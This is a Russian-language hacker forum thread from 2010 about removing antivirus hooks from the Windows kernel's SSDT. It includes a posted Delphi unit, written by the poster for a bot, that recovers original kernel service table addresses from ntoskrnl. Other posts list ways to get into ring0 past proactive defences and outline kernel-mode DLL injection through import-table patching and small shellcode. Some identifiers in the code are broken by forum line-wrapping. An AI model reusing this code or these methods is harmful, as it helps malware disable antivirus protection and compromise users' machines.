PDA

Просмотр полной версии : Рестврация ядра от хуков AV.


krenki
03.02.2010, 00:26
Покажите в какую сторону рыть.
Туторы, статьи, примеры, ключевые слова для поиска.... и ссылок да побоьше)

Hiro Protagonist
03.02.2010, 01:53
А в чем там проблема?
SDT переписать с использованием ntoskrnl.exe (смотря какая версия ядра загружена) и всё. Экспортируется. По технике хотпатча sdt читай Хугланда или ms-rem`а на васме, там у него третья часть про перехваты именно перехватам через sdt посвещена.

krenki
03.02.2010, 02:30
Понятно, спасибо. Только wasm у меня почему то недоступен.

LMaster
03.02.2010, 02:36
Он у всех недоступен. Кстати, не знаете, почему?

krenki
03.02.2010, 03:17
Maybe DoS, а лучше по теме. Примеры на Restore SDT может у кого завалялись на харде...

slesh
03.02.2010, 10:27
Вот тока смысл тебе этого? Исходники SDT restore можно и так в инете найти.
Но вот другая проблема. Хуки ставятся в ядре в SSDT и чтобы их снять от туда тебе понадобится попасть в ядро или в ring0 хотябы.
А чтобы туда попасть - придется обходить всё те же проактивки.
Так что есть тока 4 метода:
1) драйвер - спалят быстро
2) старый способ через физпамять - палится и очень древний
3) бага в NTVDM которая недавно открылась но и то спалится быстро
4) другие баги )

Пару лет назад пробовал еще на делфи писать для бота анхукет.
Код ужасный и кривой, но понятный более менее. И даже когдато работал.


unit bot_SDT;
interface
uses bot_types,bot_api;
function GetSDTFunc(i:integer):dword;
procedure CLOSE_SDT;
function OPEN_SDT:boolean;
var
SDT_prepare:boolean=false;
implementation


const
STATUS_INFO_LENGTH_MISMATCH=dword($C0000004);
SystemModuleInformation=11;
IMAGE_NT_OPTIONAL_HDR32_MAGIC=$10b;
type
IMAGE_FIXUP_ENTRY=packed record
offset_type:word;
end;
PIMAGE_FIXUP_ENTRY=^IMAGE_FIXUP_ENTRY;
IMAGE_BASE_RELOCATION=packed record
VirtualAddress:dword;
SizeOfBlock:dword;
end;
PIMAGE_BASE_RELOCATION=^IMAGE_BASE_RELOCATION;

var
pService:dword;
poha:PIMAGEOPTIONALHEADER;
dwKernelBase:dword;
hKernel:dword;

function GetHeaders(ibase:pointer; var pfh:PIMAGEFILEHEADER; var poh:PIMAGEOPTIONALHEADER; var psh:PIMAGESECTIONHEADER):boolean;
var
mzhead:PIMAGEDOSHEADER;
pehead:PIMAGEOPTIONALHEADER;
begin
result:=false;
mzhead:=ibase;
pehead:=pointer(mzhead^._lfanew+dword(ibase));
if (mzhead^.e_magic<>IMAGE_DOS_SIGNATURE) or (pehead^.Magic<>IMAGE_NT_SIGNATURE) then exit;
pfh:=pointer(pehead);
pfh:=pointer(dword(pfh)+4);
poh:=pointer(dword(pfh)+sizeof(_IMAGE_FILE_HEADER) );
if poh^.Magic<>IMAGE_NT_OPTIONAL_HDR32_MAGIC then exit;
psh:=pointer(dword(poh)+sizeof(_IMAGE_OPTIONAL_HEA DER));
result:=true;
end;

function RVATOVA(base,offset:dword):pointer;
begin
result:=pointer(base+offset);
end;

function FindKiServiceTable(hModule:pointer;dwKSDT:dword):d word;
var
pfh:PIMAGEFILEHEADER;
poh:PIMAGEOPTIONALHEADER;
psh:PIMAGESECTIONHEADER;
pbr:PIMAGE_BASE_RELOCATION;
pfe:PIMAGE_FIXUP_ENTRY;
dwFixups,i,dwPointerRva,dwPointsToRva,dwKiServiceT able:dword;
bFirstChunk:boolean;
p:pointer;
w:word;
begin
result:=0;
dwFixups:=0;
GetHeaders(hModule,pfh,poh,psh);
if (poh^.DataDirectory[5].VirtualAddress<>0) and (pfh^.Characteristics mod 2=0) then
begin
pbr:=RVATOVA(poh^.DataDirectory[5].VirtualAddress,dword(hModule));
bFirstChunk:=true;
while (bFirstChunk=true) or (pbr^.VirtualAddress<>0) do
begin
bFirstChunk:=false;
pfe:=pointer(dword(pbr)+sizeof(IMAGE_BASE_RELOCATI ON));
for i:=0 to ((pbr^.SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))shr 1)-1 do
begin
if (pfe^.offset_type shr 12=3) then
begin
inc(dwFixups);
w:=pfe^.offset_type;
w:=w shl 4;
w:=w shr 4;
dwPointerRva:=pbr^.VirtualAddress+w;
p:=pointer(dword(hModule)+dwPointerRva);
dwPointsToRva:=DWORD(p^)-poh^.ImageBase;
if (dwPointsToRva=dwKSDT) then
begin
p:=pointer(DWORD(hModule)+dwPointerRva-2);
if word(p^)=$05c7 then
begin
p:=pointer(DWORD(hModule)+dwPointerRva+4);
dwKiServiceTable:=dword(p^)-poh^.ImageBase;
result:=dwKiServiceTable;
exit;
end;
end;
end;
// else
// if (pfe^.offset_type shr 12<>0) then
// begin
// resul:=0;
// end;
inc(pfe);
end;
pbr:=pointer(dword(pbr)+pbr^.SizeOfBlock);
end;
end;
if (dwFixups=0) then result:=0;
end;

function OPEN_SDT:boolean;
var
dwNeededSize,rc:dword;
dwKSDT:dword;
dwKiServiceTable:dword;
pModules:PSYSTEM_MODULE_INFORMATION_EX;
pKernelName:pchar;
pfh:PIMAGEFILEHEADER;
psh:PIMAGESECTIONHEADER;
label strange;
begin
result:=false;
SDT_prepare:=false;
rc:=_ZwQuerySystemInformation(SystemModuleInformat ion,@pModules,4,@dwNeededSize);
if rc=STATUS_INFO_LENGTH_MISMATCH then
begin
pModules:=pointer(_GlobalAlloc(64,dwNeededSize));
rc:=_ZwQuerySystemInformation(SystemModuleInformat ion,pointer(pModules),dwNeededSize,nil);
end
else
begin
strange:
exit;
end;
if (rc<>0)then goto strange;
dwKernelBase:=dword(pmodules^.Modules[0].Base);
pKernelName:=pModules^.Modules[0].ModuleNameOffset+pModules^.Modules[0].ImageName;
hKernel:=_LoadLibraryEx(pKernelName,0,1);
if hKernel=0 then exit;
_GlobalFree(dword(pModules));
dwKSDT:=dword(GetProcAddress(hKernel,'KeServiceDes criptorTable'));
if dwKSDT=0 then exit;
dwKSDT:=dwKSDT-hKernel;
dwKiServiceTable:=FindKiServiceTable(Pointer(hKern el),dwKSDT);
if dwKiServiceTable=0 then exit;
GetHeaders(pointer(hKernel),pfh,poha,psh);
pService:=hKernel+dwKiServiceTable;
SDT_prepare:=true;
result:=true;
end;

function GetSDTFunc(i:integer):dword;
begin
if OPEN_SDT=false then exit;
if SDT_prepare then result:=dword(pointer(pService+4*i)^)-poha^.ImageBase+dwKernelBase else result:=0;
end;

procedure CLOSE_SDT;
begin
if SDT_prepare then
begin
SDT_prepare:=false;
_FreeLibrary(hKernel);
end;
end;

begin

end.

krenki
03.02.2010, 14:35
Вот тока смысл тебе этого?
Хех, а разве есть выбор, если на WriteProcessMemory ругается? Другого способа пока не знаю. Эти которые "другие баги" дебагом нашёл?
Для VDM действительно хороший сплойт, и эту багу похоже искал весь Google =) (в смысле сотрудники.)

krenki
03.02.2010, 15:58
2 slesh
Кстати, спасибо за познавательную статью "Inject DLL в Explorer из kernel-mode". Очень понравилась. Щас сижу и этот весь садо мазо текст всасываю...

slesh
04.02.2010, 00:31
2 krenki если палят WriteProcessMemory то скорее всего и другие будут палить. Если конечно проактивка не заточена чисто на инжекты.
P.S. бага в VDM к гуглю не имеет отношения. Судя по описанию автора, то чел который обнаружил её, еще пол года назад (или год назад), отослал описание в MS но они не отреагировали.

P.S.2. Inject DLL в Explorer из kernel-mode - это мего изврат. Просто эксперименты )
А вообще на реале юзаю другой способ который дает почти 100% результат. Тем более что пашет от win 2000 до win 7 включительно и без каких либо изменений. Да и кода на порядок меньше. И не надо почти ждать попадания в контекст процесса. Исходники не стал выкладывать, потому как пока что приват )

Скажу что там юзается правка юзермодного адресного пространства нужного тебе процесса, а именно таблицы импорта. И перебивал адрес самой используемой функции на адрес своего микро-шелкода (байт 30) а далее выполняется код DLL которая сразу из памяти была вручную загружена. На сишке дров который это делал весит 3 кил после компила. Так что алгоритм мего простой. У кого достаточно знаний, те в лёгкую смогут сами написать.